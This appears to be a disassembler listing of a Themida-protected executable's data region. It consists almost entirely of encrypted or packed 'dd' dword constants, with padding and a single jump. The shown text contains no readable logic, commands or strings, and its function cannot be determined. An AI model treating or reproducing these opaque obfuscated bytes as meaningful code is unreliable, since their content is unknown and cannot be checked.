8B061031h dd 2A1AEBC0h, 0AD6136ACh, 4FF4259Ch, 0B5F2368h, 562C8B1Fh dd 3F55C49Dh, 679FC019h, 0FE883h, 0AF800000h, 6B4F8DA1h dd 7446EF40h, 4A0A407h, 880F65h, 58000000h, 816DD780h dd 67EEC0h, 0DCBAF900h, 8B000019h, 2BE6608h, 7EE981F5h dd 8A303840h, 77C181F9h, 8B28DB84h, 1015F59Dh, 92E98106h dd 0F5A4AACh, 0C89h, 68C0F00h, 0F000000h, 81h, 0BF0F5100h dd 81008FFFh, 0BE79BE8h, 19D8B04h, 81061024h, 0BE797C0h dd 0EDB58904h, 4A06100Dh, 0FFA9850Fh, 8529FFFFh, 61006A1h dd 0CA88D8Dh, 81660617h, 898DCAE7h, 1009F58Dh, 57006A06h dd 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1D04h, 0C3574700h dd 7782F18Dh, 48896B86h, 0E7802621h, 85C7F58Bh, 6102319h dd 6EE4h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h dd 1Ah, 0FEC35141h, 6542C434h, 95898A23h, 6100F2Dh, 22C185C7h dd 610h, 8D310000h, 610327Dh, 11EDB5FFh, 0E9600610h, 14h dd 0DD4CD498h, 49DB912Bh, 60734AE7h, 0DE4ECA92h, 0AB268152h dd 6AF18151h, 5B166E2Ch, 0B995FF61h, 6A06102Dh, 3E85700h dd 20000000h, 895FC35Fh, 8104247Ch, 18042444h, 47000000h dd 4459C357h, 0F82C8927h, 95FF006Ah, 61031C9h, 68EBC08Bh dd 0B5B6AB06h, 0CE8F95Eh, 0F0CAD46Eh, 8ECD974Bh, 0FFCFC336h dd 0F9650019h, 0EB196865h, 5C0A3EE8h, 0D8026691h, 8C66B3A9h dd 0C697BE7Eh, 7C51B13h, 78920EAFh, 0ECBE05B2h, 0D7D1544Dh dd 2A16AE8h, 87210B79h, 7B132679h, 8680BB3Eh, 0BB92639Eh dd 0C60194A4h, 0F2A94955h, 0BDC11374h, 770932C2h, 7332FC37h dd 0E02D2768h, 0AE8h, 0FF46B800h, 0BB6F4236h, 58DDB6A3h dd 11E99D23h, 0C0810610h, 6882h, 2BD2BF0Fh, 19533FFh, 0FF061001h dd 0BE90734h, 51000000h, 0E9B68D7h, 657914C6h, 8A59E8E8h dd 10E981FDh, 6057A982h, 0DD19D89h, 0B58B0610h, 61013E1h dd 35E98161h, 8B348E5Ch, 101C89B5h, 46E98106h, 8B7923FEh dd 10348D9Dh, 0B5895106h, 6100715h, 0E938048Fh, 11h, 0B5AEF67Dh dd 0E7311246h, 0ECFDB8E2h, 26ED6B9Ah, 49B5898Fh, 81061009h dd 0AB89E6EFh, 9D09606Bh, 61008C1h, 0C78161F9h, 6BAB89E2h dd 0CAEB8160h, 615145F7h, 9854FF81h, 850FFFFFh, 0Dh, 0E9F38B66h dd 1Fh, 98C78BB8h, 4985891Ch, 0E9061009h, 0FFFFFF57h, 1A0C7A3h dd 0E3A3565Ah, 0AEF52EF7h, 0E8C0DA3Ah, 12h, 1B4893B7h dd 702DF7F8h, 49E80C62h, 0FA26DC6h, 8B50E73Eh, 10084D9Dh dd 505E5806h, 880F57h, 58000000h, 4CC6815Bh, 3100006Ch dd 101E819Dh, 1AE36806h, 858B0000h, 6102321h, 0E9606059h dd 9, 53DF443h, 2B8CC93Fh, 8B0F26h, 61000000h, 6880Fh dd 0D7810000h, 77288C1Dh, 0E936FF61h, 0Dh, 88268C4Eh, 9E1DC3CCh dd 76AACFC8h, 8B605AEFh, 1008E595h, 0D18D8B06h, 61061019h dd 0B5E8F281h, 8A0F5ED9h, 5, 0FACFBFBBh, 0C9F28178h, 8B1D0E38h dd 100E4D9Dh, 97F28106h, 53064363h, 0C5705ABFh, 16895F4Ch dd 5919D29h, 0EE830610h, 5B86604h, 850F49FEh, 0FFFFFF9Dh dd 2CE9h, 2A224400h, 2Ah, 9 dup(0) dd 5BCE900h, 8F3F0000h, 6309904Ch, 8429B02Ch, 63088F4Bh dd 8123B226h, 64A08642h, 971352F6h, 0B02C6D20h, 8E4A8529h dd 0AF2B6007h, 79C9C0BCh, 9D6BDB72h, 79327440h, 97395044h dd 8E3408BDh, 0D7536F53h, 0A760DB05h, 0F3A27E72h, 6DCC7C4Fh dd 0FFEF2AE0h, 0C2FFA423h, 40752EA5h, 46F1DA54h, 5A3619A4h dd 0D1711832h, 356DCCF0h, 0F0972439h, 0E675C7BBh, 130F0342h dd 90C77D36h, 5BFAC9E4h, 3105BC7Fh, 0D551457Ah, 0A85FDCF1h dd 8A40B773h, 0A65CDB4Fh, 0F6C5B76Bh, 7D361352h, 978BCCh dd 66651148h, 0FC37EBBFh, 0F6AD2CD8h, 4AE99AC1h, 8E25DC86h dd 14C803A7h, 0D7A9DE85h, 6F235E04h, 111C42EAh, 92AE8DB2h dd 25A2C9B5h, 0EA6DCC6Bh, 0EEBF3AD9h, 0CE336B1Eh, 47h dd 4479323Ch, 7CBB0950h, 0F0846DCCh, 7CA71B0Eh, 0E33F6DCCh dd 5B9E3506h, 336B3592h, 172h, 7A32D800h, 5EDD4F43h, 0DB574ABh dd 0E96DCC7Ch, 0C794698Dh, 9F36EA21h, 0A8C3AFECh, 13B97817h dd 32D960DCh, 32AB41FDh, 0D9533F7Eh, 7CBE0407h, 0DE8F6DCCh dd 958DE99Dh, 51F7C499h, 0B96F661Ah, 7C259D8Ch, 65C16DCCh dd 97889581h, 5658BCB1h, 61964D0Ch, 0AA9FAB5h, 916FD1C6h dd 0CC13289Ah, 7B50CC6Dh, 0ECD09A8h, 4691D58h, 93E1FA76h dd 0D4A9CD72h, 0E1D6507h, 0C2484993h, 0A27C3014h, 4C387317h dd 9F4813E8h, 6A1FB66Ah, 5F144531h, 61DC25C0h, 8D4C336Ah dd 8DE99DDAh, 4B5C0860h, 0A2B718B1h, 6A2Eh, 7E329C00h dd 8D34533Fh, 0B60DA054h, 3372161Fh, 0D4C0077h, 52392719h dd 6DCC7CF0h, 78431814h, 0B9EA96D3h, 538E6B0Ah, 0C3336B34h dd 5FA568Ah, 0DECDD3A1h, 92334864h, 0ABC0A480h, 5345h dd 7E328700h, 7D9533Fh, 7C9032D9h, 0F8746DCCh, 0CC7CB111h dd 4D9556Dh, 0AC589337h, 52D37251h, 0EC9A569Eh, 59130FC1h dd 0D72BC17Dh, 6ED4D7A9h, 866DCC7Ch, 7C47FBAAh, 0C39F6DCCh dd 40772DA6h, 7CB80554h, 407F6DCCh, 356944A1h, 149336Bh dd 0C3000000h, 4E427B32h, 6EA95DDCh, 0EB29E259h, 0FDF4DD67h dd 0E722C8F3h, 371B373Bh, 0BAA594Bh, 0FCAF832Ah, 734FD3BFh dd 9A4B6AB7h, 0CC0B53EFh, 0FA37EC6Dh, 0FEAF2602h, 0C4C799BDh dd 67FC7127h, 9D8F83DFh, 117AC8C3h, 2CD3943Ch, 77270BF7h dd 0AE55DEFBh, 0F2DBC579h, 95A1FAB2h, 41FACF9Ah, 0FAA1558Ah dd 943CB74Ah, 3D993807h, 6E8BCA7Eh, 0F7093EE5h, 9185BC64h dd 77FEB895h, 0F0E79BD0h, 0A51D0C37h, 41943CB7h, 381501E5h dd 0FEA58C23h, 874A15C9h, 67397A6Ah, 176h, 6468759h, 159E4DE8h dd 436FD3C2h, 1087943Ch, 0C681C5Dh, 0D73913E8h, 0E2EEC4A9h dd 56A00A69h, 0CCB613AFh, 8A81F36Dh, 6DCCB638h, 876480DCh dd 0E2FCDFF6h, 0FCEC1227h, 8C78F467h, 0B346B9B2h, 44FB1819h dd 0BEF3AC27h, 3A9300Ah, 7B24AFCCh, 0F1373446h, 652B6694h dd 675E203Dh, 0EA718BC0h, 81BA6F43h, 98B59195h, 3BEFE6h dd 94D37514h, 2BCA79E0h, 0C990E8A5h, 393DE926h, 41E07F24h dd 26D9558Ah, 397A5ECBh, 0D452123Bh, 5582B96Fh, 13E8EA74h dd 4F5Dh, 0C15CAF00h, 0D949401Ah, 0FDEDCC7Ch, 9C267521h dd 0B1EDCC7Ch, 0B8CFC3FCh, 3A21D514h, 0FFE6EA89h, 0FAAA140h dd 533F8031h, 9E528F34h, 0A8C29EC2h, 257895D6h, 0E0656E3h dd 2BD05239h, 78F46DCCh, 9843C4h, 806D0000h, 91C80593h dd 32FACF0Fh, 0DC83BD5Ch, 0FAB1CBA7h, 67FC0C91h, 0B420F075h dd 6E88F633h, 0B2CC9E52h, 238E4BF7h, 9AAFAB94h, 79356A21h dd 60144902h, 238F8E39h, 0AFF0A194h, 0DB1DC4C3h, 0A865EAF6h dd 0EC98BCD4h, 6BFE39EDh, 3C8F3DD4h, 0BE65CC63h, 6970D589h dd 0D3B15872h, 0B39E184Ah, 0EA71CBB7h, 181C0845h, 0C0B4EBA1h dd 13CC8764h, 0CEA032DEh, 0B7C69C9Dh, 9FBC69ACh, 0CFE665FCh dd 4937F20Ch, 29942FF8h, 0A5C1FCB2h, 855910CBh, 76FAA6E1h dd 0ADCAA65Ah, 0BD5CA329h, 0FAA6DD83h, 7C398980h, 81DD6DCCh dd 916F8165h, 4076135Ch, 0A4B9DCABh, 0F76A99E7h, 9FD7967h dd 0CAA4D992h, 2D4DF5B4h, 0CDA99425h, 855426B0h, 0DBFAA6E1h dd 3D39ED26h, 0FE444719h, 1694252Dh, 0CD763D1Ah, 0BDBDEC98h dd 66C07862h, 4D8E3FFAh, 1B00DD59h, 0B1E69D84h, 0E2C1AE9Fh dd 7EB1E69Ah, 6805BD6Ch, 85E1A060h, 0C067EE68h, 0E3FF3AF0h dd 0CA7E3D2Fh, 42E56E8Bh, 0EC871105h, 9C8F7155h, 0A0606826h dd 0CE8562BEh, 0DD0EE015h, 0E6C4FF3h, 44655215h, 5A0A0FE0h dd 42B97D5Ah, 37A05489h, 0Ah, 9A215F85h, 6AC6BAF3h, 8032B78Dh dd 9952493Dh, 7519B064h, 9E4F463Ah, 7E32A95Dh, 9034533Fh dd 8126A551h, 94395044h, 7830A75Bh, 50CF5541h, 405E089h dd 83000000h, 48704E8h, 0C895C24h, 0E6895624h, 4C681h dd 0EE830000h, 24348704h, 2434895Ch, 81E68956h, 4C6h, 4EE8100h dd 87000000h, 895C2434h, 97BE241Ch, 0D13A3A05h, 0CFF56EEh dd 0EE815E24h, 1705F3D7h, 4EC81h, 24890000h, 24048124h dd 4, 8B8505Bh, 5000000h, 288445Dh, 5D2DD801h, 89028844h dd 1C8B5830h, 0E6895624h, 4C681h, 0C6830000h, 24348704h dd 24348B5Ch, 5E08950h, 4, 8704C083h, 0E95C2404h, 0FFF96BC8h dd 5C3D758Eh, 0DF2EC1B2h, 8B807FAh, 3061714h, 55E0FFC5h dd 0D061EF7Bh, 914FEEC8h, 724B6738h, 5D2D4D3Eh, 904C1212h dd 0CE3D83A0h, 0BB243327h, 0F02D3D58h, 0D24B647Ah, 414AF0DBh dd 0BD348B2Eh, 420130E1h, 0E46FDD12h, 547F1A5Bh, 6E258931h dd 4C4C0DDBh, 5F474B8Fh, 0BA38A9C2h, 0AF17594Ch, 0BB4EC588h dd 0E34C635Dh, 4F4A9E69h, 0E128184Dh, 16430E27h, 9137A62Ah dd 9849192Ah, 0B62CD9D4h, 0E83C93B7h, 6, 0F949857Ch, 0E9606471h dd 0Dh, 0B23D7B28h, 38562198h, 66BA04DFh, 61EC8A25h, 0DE959h dd 9F080000h, 0F9F3E33Fh, 5F3BFA6Bh, 81EAC8D3h, 5EF7C1h dd 1799BB00h, 0BA660000h, 31FF3E90h, 0BF58D18Bh, 6D0FBDA5h dd 65B1C081h, 0BF667659h, 0E881706Ah, 197471DDh, 8E3EF081h dd 8F5000A7h, 7A58BA01h, 0E9830D6Fh, 4949FC01h, 0E3CA8149h dd 4B7338FCh, 0C850Fh, 18E90000h, 2E000000h, 5E85FB8Ah dd 0D6810589h, 1E13E88Ch, 0FFFFADE9h, 0A30EAEFFh, 82CAD25Bh dd 889A075h, 0DC781469h, 60638DA6h, 2E863635h, 908635A1h dd 480AD925h, 99053025h, 14962374h, 76023F25h, 7863025h dd 528F4198h, 0A5893023h, 90863057h, 6B63B5E3h, 4CC83635h dd 0DA6D2741h, 2DA204A4h, 7BE699E5h, 52956190h, 0AB03BD23h dd 6F8023A0h, 8E76BBF5h, 34A5D5A0h, 36EE7E23h, 8858931Eh dd 68E21411h, 0F77946C4h, 27963954h, 150CB5A8h, 98793636h dd 343FC8AEh, 0FB863025h, 986302Dh, 8A033F83h, 0B863025h dd 0A489F92Eh, 6F79CFD5h, 48863DCCh, 0A11BBD25h, 0AA80206Bh dd 9863020h, 390BD3DAh, 449125E1h, 3707BDA8h, 823E3632h dd 63000000h, 826FF1EAh, 889A075h, 0DC781469h, 60638DA6h dd 2E863635h, 908635A1h, 480AD925h, 99053025h dword_5BCB08 dd 0F305E983h, 22B9A4h, 0FE80000h, 3A000000h, 3A66391Eh ; DATA XREF: Themida_:0054C344o dd 0FC5D66A2h, 549F3790h, 0BD317FFBh, 6100ED9h, 81FB8B5Bh dd 59EBC3h, 35B58B00h, 68061009h, 1641h, 20FD8D89h, 295A0610h dd 1004E58Dh, 0E833FF06h, 0Ch, 0EC5CD7E5h, 0DBBA334Bh dd 5079B958h, 5EF0B70Fh, 0FDB58B58h, 8106100Bh, 0D86ECF0h dd 0EE86010h, 0FF000000h, 65361803h, 9932B29Fh, 9916B9EFh dd 5F5B514Bh, 38F08161h, 891ADF45h, 10094D85h, 0E5C08106h dd 0F2CBF04h, 389F0B7h, 68D0Fh, 95290000h, 6100EF9h, 1CEDEB81h dd 895319F8h, 1032DD8Dh, 0C3815F06h, 19F81CE9h, 26A2E981h dd 0F4A58C6h, 1F85h, 9DBD3100h, 0E9061005h, 2Ah, 9A28E1E9h dd 0F059F43Fh, 98544E20h, 0D5DFCF23h, 4CD86FE9h, 241D8531h dd 56E90610h, 0EFFFFFFFh, 1DAAC45Ch, 0F4AE47FFh, 24E9567Eh dd 28000000h, 0C675h, 7 dup(0) dd 0E9000000h, 8C5h, 0BE7ABD6Dh, 0DE5A9137h, 0C579B257h dd 0D8549136h, 0BC70AF61h, 8C40B2CEh, 670A914Dh, 7F23B226h dd 5A118844h, 0BAC6A925h, 0DB6B73CFh, 8E16936Bh, 0CC7C4502h dd 6131DA6Dh, 0DC5074ABh, 2CA6C902h, 0DFD77CB9h, 0FFF2AD6Dh dd 708D6922h, 2CDF060Dh, 6DCC4296h, 0B50DFC6Eh, 516DCC42h dd 0FBD5F1D5h, 0FC43EB10h, 0D3BF9B67h, 0F22BE259h, 1A322FEh dd 7552CEC2h, 0FCB0ABEh, 5B0FDF88h, 0BFA3E485h, 0BE7DEFA3h dd 5DD9CD08h, 3C0CB380h, 7024385h, 2AC73E51h, 5FD65A46h dd 9E826EADh, 16B7CEC2h, 4AA21D5h, 493D782Eh, 0E1D09EDh dd 2DEAD66Dh, 752EF78Eh, 0A1C502A5h, 0EC9F722Dh, 817F397Ah dd 0CD000000h, 2D3F7E32h, 7CEA5853h, 0E0A6DCCh, 68F34D39h dd 289A91C2h, 0CC6DCC7Ch, 0EB57450h, 34492DD9h, 0DAC605A7h dd 69209B7Dh, 0BE04430h, 103D9938h, 73A6C25h, 0CF8C61F4h dd 0AF6ADE1Dh, 336AC35Eh, 3B3Eh, 4D78C00h, 0F67A265Bh dd 77B65AE1h, 7C63DC8Bh, 0DB46DCCh, 0F8850CBh, 0DBF76669h dd 0C2F7B027h, 6E226103h, 0BF0DA47Bh, 240DA4DBh, 0AC2F4180h dd 6CC8BCF5h, 425EC78Fh, 0AE000000h, 0FBA47E32h, 84F6AAC6h dd 0AFAA1A47h, 0EB9CC1FAh, 0F62FD609h, 0BE06FDDAh, 8F6DCC36h dd 0D4F39FDCh, 0AA05F130h, 0A9607A19h, 6DCC3619h, 0AA4521FDh dd 7E607A19h, 0CC35378Bh, 7653CF6Dh, 10CC0BBDh, 6004D77Ah dd 0CCF17521h, 6548607h, 0E07D5A10h, 16E802D9h, 88659E43h dd 0FC82BA9Bh, 0F3972267h, 83DFA3B8h, 1851F88Fh, 377015A4h dd 0C76AF14Bh, 0C1969A86h, 34469524h, 0C661C75h, 721EFA9Eh dd 0F332D160h, 0A1D67A4Eh, 2C2158EAh, 8460BC9Eh, 0B86DEC60h dd 0EEDE6576h, 7C3B6C29h, 0BEB28EC3h, 2C933B97h, 7C13A49Eh dd 4B59715Ah, 6F23F5FAh, 0EA2CE15Ah, 486B33ECh, 6A920EAh dd 9B31ADC9h, 8E1CC35Ch, 4002A9D7h, 0A46DCC7Ch, 0C5F3B3C8h dd 5B4E7932h, 6DCC7CE7h, 793F23FFh, 2BF69735h, 0B366B22h dd 4Ah, 70D03835h, 559A0F83h, 0C35CAC78h, 0D4D78E1Ch, 6DCC7C6Eh dd 0C4576764h, 36A232FCh, 37056121h, 4D7F5D7h, 5C7F1A5Eh dd 0C29DA6E0h, 0B76EF29Eh, 4521D516h, 0BDF6AB28h, 408A42EFh dd 39h, 3F80B40h, 474A1967h, 0C35C9A32h, 6D1C421Ch, 6DCC7CD5h dd 8C183531h, 0B7C4A9D7h, 330A4E1h, 0A410BC2Bh, 9FB5C1B7h dd 0B261E1CAh, 0B3A36DCCh, 32F5D7E5h, 4274427Bh, 6104D78Ah dd 0DBF07420h, 7E72A760h, 0C8FDD9D7h, 417C326Dh, 52933655h dd 6908B79Eh, 58F7C863h, 41FD32D9h, 2BD716BAh, 0CDB9F8ACh dd 7C31A890h, 0FE952643h, 0E2569537h, 6FB6D617h, 29B633h dd 32140000h, 63504479h, 0B6758754h, 67FC1D45h, 64BCEFFh dd 0A39CB814h, 9E4F1610h, 0C5A2BEFAh, 12AD59D5h, 6C1312B1h dd 32E58337h, 63504479h, 0B6758754h, 67FC1FADh, 0EA71ED49h dd 26180C41h, 0DF632638h, 379423A0h, 0A0F64C3Bh, 120E9423h dd 3A974E35h, 734C19B5h, 25E4FADCh, 18B10E9Dh, 53E0FD79h dd 0D9C377ACh, 596EAF62h, 0BFE29E2h, 18B10EB7h, 3EFD34Fh dd 9AB427AEh, 0CD246E1Fh, 5F28A99h, 969A866Ah, 0BFEC9FC1h dd 4712814Dh, 738D6FEBh, 0A1520AB8h, 596EEA02h, 1CC35CD3h dd 5D83FD8Eh, 7C3A8883h, 7EDA6DCCh, 0CC7C2B97h, 6A4FCB6Dh dd 7A51D102h, 3B11E60Eh, 4002A9D7h, 0A46DCC7Ch, 7F28B3C8h dd 8A9304Ah, 351AB2C7h, 222BF697h, 0B29B366Bh, 701AF539h dd 73D3F827h, 90ACE0B9h, 3A2DA3B8h, 9F000000h, 113C35Ch dd 92F85E1Bh, 0D7BE8C68h, 0CC7C6ED4h, 9A67646Dh, 34E8C149h dd 0C7A35774h, 458026B5h, 2CF8D551h, 7B32F5D7h, 3E427442h dd 978BC87Bh, 40E6BE9Bh, 36h, 1CC35C8Ch, 6ED4D78Eh, 0A46DCC7Ch dd 0F5D7EAB0h, 2A77B32h, 7D59DDC9h, 5F96D7AFh, 0C0D8F88Fh dd 60B1087Bh, 0C465A27Bh, 0CCED7DC5h, 0B99D996Dh, 35124B02h dd 7932F68Eh, 0FCAF2A44h, 0B5169ABFh, 0DE5C8A45h, 464E1D09h dd 9B6DC820h, 1BC46D04h, 208939F0h, 49389230h, 95B0EFCh dd 3419150Dh, 46B155A6h, 8A3E2295h, 661A590Bh, 927EBD6Fh dd 2FD863B5h, 8470AB5Fh, 54D0C4A0h, 240DA477h, 0BB01A680h dd 0F8005453h, 6480641Ch, 0F7DC35E8h, 2ABC336Eh, 0E000000h dd 50447932h, 75875463h, 0FC0CD5B6h, 9BB5B167h, 502D6C20h dd 5794374Eh, 38792CABh, 0F392314Ch, 32D1F2CDh, 0A3174CF3h dd 5C04D705h, 0D48B4825h, 44206104h, 87546350h, 26E5B675h dd 6E5F67FCh, 65EA0271h, 84BD64FDh, 847E960h, 3F43181Ch dd 0C69567E3h, 972EE223h, 6BC7BBF0h, 5CDA7287h, 0FD8E1CC3h dd 447932CFh, 0E085542Ah, 7C4200A7h, 0C6A26DCCh, 0A9D71BB1h dd 0CC7C4002h, 45BA6F6Dh, 0A366B9A1h, 0E45A6FEBh, 222BF646h dd 3D0B366Bh, 81000000h, 8E1CC35Ch, 7C6ED4D7h, 0F866DCCh dd 2D3F2358h, 7CEA5853h, 41E86DCCh, 6DCC7C81h, 1D190965h dd 0F5D76440h, 74427B32h, 30408A42h, 40000000h, 7B37DC0Bh dd 79303438h, 0EAC297D8h, 8E1CC35Ch, 7C6ED4D7h, 0B0A46DCCh dd 32F5D7EAh, 4274427Bh, 0FEC30D3Eh, 44C8209Ch, 0FBA7E085h dd 32CA6277h, 43B79h, 6D1FA366h, 7BF76DCCh, 590F074Eh dd 0D2E2897Dh, 0F6DC8E2h, 571011B0h, 782FA622h, 53624F43h dd 0D2B37688h, 0AC98079Ch, 0D76EFCB0h, 7C4002A9h, 0C8A46DCCh dd 16C952B3h, 32CFFD90h, 35764479h, 5C04D797h, 8E4F4825h dd 6E366B21h, 5Ah, 81C35CDCh, 81E591CEh, 38EC21CAh, 0D792183Ch dd 2496D7A9h, 1B353B6Fh, 4FC67C2Bh, 421E6DCCh, 6DAEF215h dd 5F7CE6E8h, 0CC451EA4h, 0AC7AF66Dh, 7B32F5D7h, 3E427442h dd 708DC67Bh, 2A9D7D4h, 6DCC7C40h, 5C11C8A4h, 279B4623h dd 0A5000000h, 7C72D0BBh, 96926DCCh, 0C35CEBC1h, 269A3913h dd 0AE64F76h, 6ED4D73Ch, 0A46DCC7Ch, 0F5D7EAB0h, 74427B32h dd 79328A42h, 0DDC906A9h, 0B7897D59h, 7C60E2C9h, 0A8846DCCh dd 2C417E31h, 0C8FD717Fh, 7E15AE6Dh, 1DB10B7h, 0C0E593CCh dd 3348191Ch, 3E732CABh, 306D852h, 92373FBFh, 5FFEDB57h dd 97698358h, 373F2E94h, 5DE5A492h, 0B992373Fh, 9469C5BDh dd 6C28BD6Ch, 0B1B69807h, 7C34B623h, 4804E0F3h, 1CC35CC2h dd 5D04D78Eh, 8CF4CF1Bh, 0CAA616C2h, 817D5AD6h, 447932FBh dd 0F6973576h, 366B222Bh, 56ECB29Bh, 1C2C446Bh, 37893Fh dd 5C030000h, 9421CC3h, 0A08B46E7h, 6DCCB622h, 418166C2h dd 663E1BDDh, 7C6ED4D7h, 0AA866DCCh, 32F5D71Ch, 4274427Bh dd 53408Ah, 1E400000h, 0CC7CD76Bh, 16332F6Dh, 1CC35C8Eh dd 0D56D1C42h, 316DCC7Ch, 7CF64C3Fh, 120E6DCCh, 96D5772Eh dd 0D4D7EBC1h, 6DCC7C6Eh, 48AFA7A4h, 35225B12h, 0D74E3A1Ah dd 51D7FB30h, 4D7F5D7h, 0F0742061h, 70A960DBh, 203E42AAh dd 0CC7CD969h, 0CE13D6Dh, 44793240h, 91546350h, 37EB22CAh dd 7CF64C3Bh, 120E6DCCh, 0E86D1C2Eh, 1667FC12h, 0B2419E1Ah dd 25165729h, 0ECFD2E64h, 6200C269h, 88E49423h, 2B97926Ch dd 0CB942362h, 0A3667A4Fh, 9E180DF7h, 2B9938Fh, 0EB94134Ah dd 9166CAB6h, 184DF695h, 4CFFBAA4h, 0EAFF630Fh, 9185BA71h dd 0E5D60FCAh, 0C178E495h, 27FCD10Eh, 0CD02A988h, 0ACE18A11h dd 0A14586F8h, 1187BA3Ah, 9C4F0CE1h, 1BCE8D5Fh, 2D4A26DAh dd 0D2896771h, 3A09DE1Fh, 0BCF19A9Bh dd 9DD27900h, 1000E9h, 0DE000000h, 0CA16972Bh, 0B2586F80h dd 0A67E5B77h, 80326D5Fh, 9952493Dh, 7519B064h, 9E4F463Ah dd 7E32A95Dh, 9034533Fh, 8126A551h, 94395044h, 7830A75Bh dd 52CF5541h, 0C281E289h, 4, 3304EA83h, 14312414h, 24143324h dd 11C5685Ch, 3C890000h, 7B576824h, 2C890000h, 17C56824h dd 3C8B0617h, 4C48124h, 54000000h, 83242C8Bh, 815704C4h dd 0BD22434h, 458F6C12h, 8BB5308h, 1000000h, 0D23381EBh dd 5B6C120Bh, 50242C8Bh, 405E089h, 83000000h, 48704C0h dd 3C8B5C24h, 0E7895724h, 4C781h, 0C7830000h, 243C8704h dd 5FF2E95Ch, 4F1EFFF9h, 0B6EDFB72h, 0F2F4C2B7h, 0D655C5D1h dd 1FFCB89Bh, 0C5030617h, 938AE0FFh, 4ADD27ABh, 79C9450Ah dd 867259B8h, 0EAA521E8h, 343C640Eh, 0ABC61DE1h, 0F13A4E69h dd 25822657h, 4D326C5Eh, 46C91C62h, 0CD395435h, 0EBAF14A1h dd 0A6407A2Fh, 0FA0312B1h, 0C9AB30DAh, 471D3E2Dh, 86F66469h dd 550E45CFh, 58FB12A4h, 13591E4Bh, 0C96D3962h, 4B2B22A8h dd 5B814BF3h, 0E1FD0E3Fh, 0ABBB5727h, 931961F5h, 0B05409F6h dd 0F84D1982h, 25E9643Bh, 0AD000000h, 27718Bh, 8 dup(0) ; --------------------------------------------------------------------------- jmp loc_5BDAF3 ; --------------------------------------------------------------------------- db 0FCh, 4Ah, 7 dd 0E51CC453h, 23BF269h, 0DF1CCF46h, 0F938EC6Bh, 0C93B4745h dd 0E574E827h, 0D0470344h, 0EC6BDF1Ah, 5F4AFE33h, 5D14AE5Dh dd 0F3F06BDBh, 44793229h, 58973950h, 11B15886h, 0F56DCC7Ch dd 5BDA6479h, 4836FA4h, 8554265Bh, 78FCA8DFh, 7C24A363h dd 973A5145h, 8DBDAA56h, 0B797C610h, 1E5F12C9h, 32D16072h dd 5F1350F3h, 734CDF03h, 79AE55DCh, 559036C5h, 0BB73527Bh dd 0E595AE4h, 209B8539h, 0DE422E6Bh, 619C5209h, 0DE13CC8Fh dd 6D192E32h, 867ABB6Eh, 67CE651Ch, 45D488C3h, 0C3BD699Eh dd 381554F8h, 0CCE0F24Bh, 0EF86356Dh, 6A99C70Ah, 69A733h dd 32E50000h, 0E8A33B79h, 92E671Eh, 0CFF31C69h, 40CC7423h dd 6E4D6DCCh, 0C468F3D7h, 0B8959185h, 6AF9EEBFh, 89805E33h dd 6DCC4C39h, 46C81DDh, 0Bh, 9D25E4FAh, 796DCC4Ch, 3244E0FDh dd 384F437Ah, 46875990h, 0C104C47h, 0D106BD0Dh, 0AF26D8F5h dd 60E2C9FCh, 846DCCF4h, 0A5D8CCA8h, 6BE67FEh, 23DC5BCFh dd 32AC3AEEh, 0E062497Eh, 46DCC7Ch, 0B79BDC8Dh, 0FD65092h dd 0D9FD925Fh, 0BFF6AE2Dh, 4EE576D3h, 191045E7h, 6DCC90A9h dd 5392364Dh, 0C39FC39Fh, 0A2D79007h, 235C11C8h, 28D6F36Fh dd 0ECDFCB1h, 0CB771E57h, 2B6DCC90h, 97D2782Fh, 771AA1BBh dd 34652136h, 0BC05E07Fh, 2C336A47h, 0C8BCFBADh, 6ED98F6Ch dd 33000000h, 7BF396D7h, 0DD8FE46Ch, 3D39ED2Ah, 0D5774419h dd 36EBEA96h, 4D7609FDh, 88BD6FB6h, 0CCD421A1h, 1BCEC56Dh dd 264A26DAh, 65078E4Ah, 33175426h, 0C09A28D1h, 0D6F5B1C6h dd 5700F431h, 9D60851Ch, 7D336A4Fh, 48h, 3F7E32CFh, 538E3453h dd 0DC734C9Fh, 0C707D1FAh, 15AEB458h, 3E103473h, 0CC8EF74Bh dd 36130F6Dh, 0D08CCB7Dh, 3A7A323Ah, 0B125641h, 2ED6554Fh dd 4B270BF7h, 0D6B71057h, 47786DCCh, 8B844DA8h, 164336Ah dd 0A6000000h, 4E427B32h, 815B9037h, 27E215BAh, 6DCC7C9Bh dd 0CFC39F7Bh, 1E887653h, 0BCF39920h, 0AC8F6CC8h, 822AB115h dd 7CEC5655h, 2C086DCCh, 0B2CF5C48h, 0C8FFA996h, 0E3708D69h dd 6C4AFC3Eh, 93B8D115h, 0FA6FBAFh, 3A77D31h, 7C58DCC8h dd 0B6C8AC88h, 0FCE416F3h, 5A74F067h, 39ED2EDFh, 0C5E203Dh dd 8C61964Dh, 67E318CFh, 0E80237F0h, 0A4AF1316h, 0CB80943Ch dd 8E7EE28Eh, 346F1392h, 1707E440h, 3CA4F050h, 3FD66D94h dd 46184DF6h, 0A4D17118h, 0BA6E943Ch, 0D2A7837Bh, 0A1D68D0Ch dd 0EF2DD6F5h, 64A5C2AEh, 28DCF8F0h, 0D3BF00B1h, 0E3C37C46h dd 0E0576711h, 1605F128h, 502CE65h, 0AD56DF76h, 4DAC478h dd 3CFEBD05h, 24E75994h, 943CFE9Eh, 1D6FA76h, 7AB3B3FEh dd 0C2A2339h, 0DA15B948h, 3E1D4A26h, 0A3452214h, 124h dd 1EBD5CE9h, 266C5D4Ch, 9E7A67FCh, 0F72CD3F2h, 3B0BB443h dd 0ED555489h, 99423AAh, 0D95D492Dh, 0D99209FDh, 38D9F0A4h dd 0D68C0BF7h, 11B2E79Bh, 0A994E72h, 0EC21CA6Bh, 15CB8E70h dd 772E32DEh, 8AE69AD1h, 6067AA6Dh, 4747397Bh, 85000000h dd 0E11C15Ch, 0ED0A5118h, 0A9607A56h, 0EDCC6939h, 9B9581DDh dd 48053B2h, 7118C55Ah, 0EDCC42D1h, 431D3935h, 0CC42FA48h dd 293E1AEDh, 0CC42C082h, 0B74EEDEDh, 84568598h, 0CC421D85h dd 1BDB96Dh, 8F88h, 0BD5CF400h, 3C5D4C1Eh, 0CA67FC0Ch dd 0B6C8A24Eh, 238C4FF3h, 0AECBA794h, 58537E25h, 94238CEAh dd 68290E0Ah, 98BBEB06h, 30ABC5A1h, 0E062497Ah, 49423BDh dd 0A72F4C28h, 4E427730h, 23BCBC07h, 750CB394h, 0AAE38A51h dd 285D06CDh, 13C84FB4h, 0DDE85239h, 401C9E18h, 